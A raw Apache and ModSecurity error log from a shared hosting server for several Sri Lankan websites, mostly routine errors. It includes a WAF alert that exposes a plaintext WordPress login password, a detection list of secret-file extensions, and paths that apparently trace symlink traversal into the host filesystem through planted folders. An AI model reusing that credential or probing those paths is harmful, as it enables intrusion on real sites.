[Fri Jul 17 08:40:59.232530 2026] [proxy_fcgi:error] [pid 1996894:tid 1996894] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:59.408792 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:40:59.744700 2026] [proxy_fcgi:error] [pid 2015125:tid 2015125] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:41:00.282463 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:41:00.455853 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:41:00.565827 2026] [ssl:error] [pid 2018770:tid 2018770] (70014)End of file found: [client 66.85.158.91:51084] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:41:00.792238 2026] [proxy_fcgi:error] [pid 1993715:tid 1993715] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:41:03.000613 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:59380] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:41:04.227191 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:59418] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:41:04.956522 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:41:04.964091 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:41:07.728825 2026] [ssl:error] [pid 2018770:tid 2018770] (70014)End of file found: [client 66.85.158.91:59516] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:41:07.854859 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:41:07.890303 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:41:08.682010 2026] [security2:error] [pid 1993574:tid 1993574] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almdTN0t9Kb_MdNxrg7AXQAAAAM"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:41:08.682062 2026] [security2:error] [pid 1993574:tid 1993574] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almdTN0t9Kb_MdNxrg7AXQAAAAM"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:41:10.781394 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:41:11.254788 2026] [ssl:error] [pid 2018764:tid 2018764] (70014)End of file found: [client 66.85.158.91:58652] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:41:13.719824 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:41:15.977198 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almdU4l9vhFBGA6D8l93yQAAAAw"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1201&page_105=2165
[Fri Jul 17 08:41:15.977250 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almdU4l9vhFBGA6D8l93yQAAAAw"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1201&page_105=2165
[Fri Jul 17 08:41:16.586221 2026] [mime:warn] [pid 2018770:tid 2018770] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:41:16.593100 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:41:16.856796 2026] [autoindex:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/var/lve/snapshots/1082/
[Fri Jul 17 08:41:17.161665 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:58808] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:41:17.827934 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:58856] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:41:19.324933 2026] [ssl:error] [pid 2018770:tid 2018770] (70014)End of file found: [client 66.85.158.91:59032] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:41:19.505019 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:41:19.547014 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:41:20.089575 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:59116] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:41:21.806987 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:41:23.770982 2026] [security2:error] [pid 2018768:tid 2018768] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almdW1CBpfuYyhJ140vQhAAAAB4"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1129&page_105=2266
[Fri Jul 17 08:41:23.771018 2026] [security2:error] [pid 2018768:tid 2018768] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almdW1CBpfuYyhJ140vQhAAAAB4"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1129&page_105=2266
[Fri Jul 17 08:41:26.184296 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:40722] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:41:26.827287 2026] [autoindex:error] [pid 2018764:tid 2018764] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/var/lve/snapshots/1029/
[Fri Jul 17 08:41:28.778307 2026] [ssl:error] [pid 2018758:tid 2018758] (70014)End of file found: [client 66.85.158.91:40982] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:41:30.516577 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:41030] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:41:31.811072 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:41:33.090400 2026] [security2:error] [pid 2018770:tid 2018770] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almdZS0HS8lGbZyK8qt1KwAAACM"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:41:33.090433 2026] [security2:error] [pid 2018770:tid 2018770] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almdZS0HS8lGbZyK8qt1KwAAACM"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:41:33.933213 2026] [ssl:error] [pid 2018770:tid 2018770] (70014)End of file found: [client 66.85.158.91:46660] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:41:36.808373 2026] [core:error] [pid 2018741:tid 2018741] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/var/tmp/20251115-120719-aRgfn0ENUumtDIru3XeMCAAAAAk-file-rMwe1C
[Fri Jul 17 08:41:38.424723 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:46814] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:41:40.188036 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:46906] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:41:40.481598 2026] [mime:warn] [pid 2018764:tid 2018764] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:41:41.336365 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:57782] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:41:41.604994 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:57808] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:41:41.929928 2026] [autoindex:error] [pid 1996894:tid 1996894] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/var/lve/snapshots/1036/
[Fri Jul 17 08:41:43.467805 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:41:45.426716 2026] [ssl:error] [pid 2018770:tid 2018770] (70014)End of file found: [client 66.85.158.91:57928] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:41:46.877295 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:57982] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:41:46.979150 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:57994] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:41:47.214027 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:41:47.220997 2026] [mime:warn] [pid 2018767:tid 2018767] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:41:48.433321 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:58068] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:41:48.821063 2026] [security2:error] [pid 2019501:tid 2019501] [client 57.141.18.60:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory142/node0/memory69/subsystem/devices/memory84/subsystem/devices/memory9/"] [unique_id "almddLEWOaI5pmYo9fnNMgAAAAA"]
[Fri Jul 17 08:41:48.821109 2026] [security2:error] [pid 2019501:tid 2019501] [client 57.141.18.60:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory142/node0/memory69/subsystem/devices/memory84/subsystem/devices/memory9/"] [unique_id "almddLEWOaI5pmYo9fnNMgAAAAA"]
[Fri Jul 17 08:41:50.032411 2026] [mime:warn] [pid 2018767:tid 2018767] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:41:50.247991 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:41:51.626583 2026] [security2:error] [pid 1993668:tid 1993668] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-global": Permission denied [hostname "millenniumagro.lk"] [uri "/index.php"] [unique_id "almdXRAi3pC6yjXGNq1-rQAAAAU"]
[Fri Jul 17 08:41:51.626629 2026] [security2:error] [pid 1993668:tid 1993668] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-ip": Permission denied [hostname "millenniumagro.lk"] [uri "/index.php"] [unique_id "almdXRAi3pC6yjXGNq1-rQAAAAU"]
[Fri Jul 17 08:41:51.942241 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:41:53.947364 2026] [autoindex:error] [pid 2014256:tid 2014256] [client 181.20.141.12:0] AH01276: Cannot serve directory /home/epidgovl/public_html/epid/public/storage/post/pdfs/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 08:41:54.603837 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:50690] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:41:56.226538 2026] [ssl:error] [pid 2015125:tid 2015125] (70014)End of file found: [client 66.85.158.91:50752] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:41:56.825276 2026] [mime:warn] [pid 2018758:tid 2018758] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:41:56.825340 2026] [mime:warn] [pid 2018758:tid 2018758] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:41:58.928656 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:50880] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:42:00.599488 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:50940] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:42:01.502944 2026] [mime:warn] [pid 2018764:tid 2018764] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:42:01.552683 2026] [mime:warn] [pid 2018767:tid 2018767] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:42:01.947976 2026] [autoindex:error] [pid 1996894:tid 1996894] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/var/lve/snapshots/1079/
[Fri Jul 17 08:42:03.759605 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:42:03.814459 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:37656] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:42:04.624015 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:42:05.089544 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:37700] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:42:06.332138 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:42:06.347232 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:42:06.858726 2026] [mime:warn] [pid 2018758:tid 2018758] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:42:07.453538 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.111.34.4:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".com"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.epid.gov.lk"] [uri "/epid/public/local/www.sample.com"] [unique_id "almdh0kXT4NBqALj2lZ7AQAAABA"]
[Fri Jul 17 08:42:07.453952 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.111.34.4:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/epid/public/local/www.sample.com"] [unique_id "almdh0kXT4NBqALj2lZ7AQAAABA"]
[Fri Jul 17 08:42:07.470107 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:37824] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:42:07.573735 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.111.34.4:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almdh0kXT4NBqALj2lZ7AQAAABA"]
[Fri Jul 17 08:42:09.155928 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:42:09.242981 2026] [mime:warn] [pid 2014256:tid 2014256] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:42:10.908752 2026] [security2:error] [pid 2018741:tid 2018741] [client 132.148.72.88:0] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 'novc' [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "66"] [id "942100"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: novc found within ARGS:pwd: Bostonlanka123!@#"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/66"] [tag "PCI/6.5.2"] [hostname "bostonlanka.com"] [uri "/wp-login.php"] [unique_id "almdiroj0IkvhSCYadl_8AAAAAQ"], referer: https://bostonlanka.com/wp-login.php
[Fri Jul 17 08:42:10.909568 2026] [security2:error] [pid 2018741:tid 2018741] [client 132.148.72.88:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com"] [uri "/wp-login.php"] [unique_id "almdiroj0IkvhSCYadl_8AAAAAQ"], referer: https://bostonlanka.com/wp-login.php
[Fri Jul 17 08:42:10.941292 2026] [security2:error] [pid 2018741:tid 2018741] [client 132.148.72.88:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=5,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com"] [uri "/wp-login.php"] [unique_id "almdiroj0IkvhSCYadl_8AAAAAQ"], referer: https://bostonlanka.com/wp-login.php
[Fri Jul 17 08:42:11.831855 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:42:13.681922 2026] [core:error] [pid 2018758:tid 2018758] (13)Permission denied: [client 57.141.18.4:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/cpu/cpu2/node0/memory67/subsystem/devices/memory58/subsystem/devices/memory132/subsystem/uevent
[Fri Jul 17 08:42:16.801960 2026] [core:error] [pid 2014256:tid 2014256] (13)Permission denied: [client 57.141.18.69:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/node/devices/node0/memory139/subsystem/devices/memory7/subsystem/uevent
[Fri Jul 17 08:42:17.037322 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:42:24.738001 2026] [mime:warn] [pid 2018764:tid 2018764] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:42:24.802807 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:42:26.671906 2026] [security2:error] [pid 2018757:tid 2018757] [client 114.119.145.198:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylondigest-global": Permission denied [hostname "www.ceylondigest.com"] [uri "/index.php"] [unique_id "almdmUkXT4NBqALj2lZ7CQAAABA"], referer: https://www.ceylondigest.com/india-reaffirms-unwavering-defence-support-to-sri-lanka/?random-post=1
[Fri Jul 17 08:42:26.671945 2026] [security2:error] [pid 2018757:tid 2018757] [client 114.119.145.198:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylondigest-ip": Permission denied [hostname "www.ceylondigest.com"] [uri "/index.php"] [unique_id "almdmUkXT4NBqALj2lZ7CQAAABA"], referer: https://www.ceylondigest.com/india-reaffirms-unwavering-defence-support-to-sri-lanka/?random-post=1
[Fri Jul 17 08:42:27.252569 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:42:27.317658 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 57.141.18.2:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory103/node0/memory65/node0/memory81/subsystem/uevent
[Fri Jul 17 08:42:27.981718 2026] [ssl:error] [pid 2018758:tid 2018758] (70014)End of file found: [client 66.85.158.91:58910] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:42:27.991902 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:58920] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:42:31.267788 2026] [security2:error] [pid 2013797:tid 2013797] [client 20.151.7.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ayuzonelanka-global": Permission denied [hostname "ayuzonelanka.com"] [uri "/index.php"] [unique_id "almdnlh1WDijTxd1xw5KmgAAAAc"]
[Fri Jul 17 08:42:31.267830 2026] [security2:error] [pid 2013797:tid 2013797] [client 20.151.7.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ayuzonelanka-ip": Permission denied [hostname "ayuzonelanka.com"] [uri "/index.php"] [unique_id "almdnlh1WDijTxd1xw5KmgAAAAc"]
[Fri Jul 17 08:42:32.031773 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:42:32.031871 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:42:32.031953 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:42:32.613571 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:42:32.673773 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:42:34.106615 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:42:36.111527 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:48130] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:42:36.972744 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:42:37.327260 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:42:37.343293 2026] [mime:warn] [pid 2018764:tid 2018764] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:42:39.394960 2026] [mime:warn] [pid 2018764:tid 2018764] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:42:39.396781 2026] [security2:error] [pid 2018764:tid 2018764] [client 47.82.15.236:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:22/subsystem/tty0/subsystem/tty2/"] [unique_id "almdp1seBYnnE2UYU1j5dAAAABY"]
[Fri Jul 17 08:42:39.396822 2026] [security2:error] [pid 2018764:tid 2018764] [client 47.82.15.236:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:22/subsystem/tty0/subsystem/tty2/"] [unique_id "almdp1seBYnnE2UYU1j5dAAAABY"]
[Fri Jul 17 08:42:39.398985 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 47.79.51.195:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:43/subsystem/ttyS3/device/subsystem/uevent
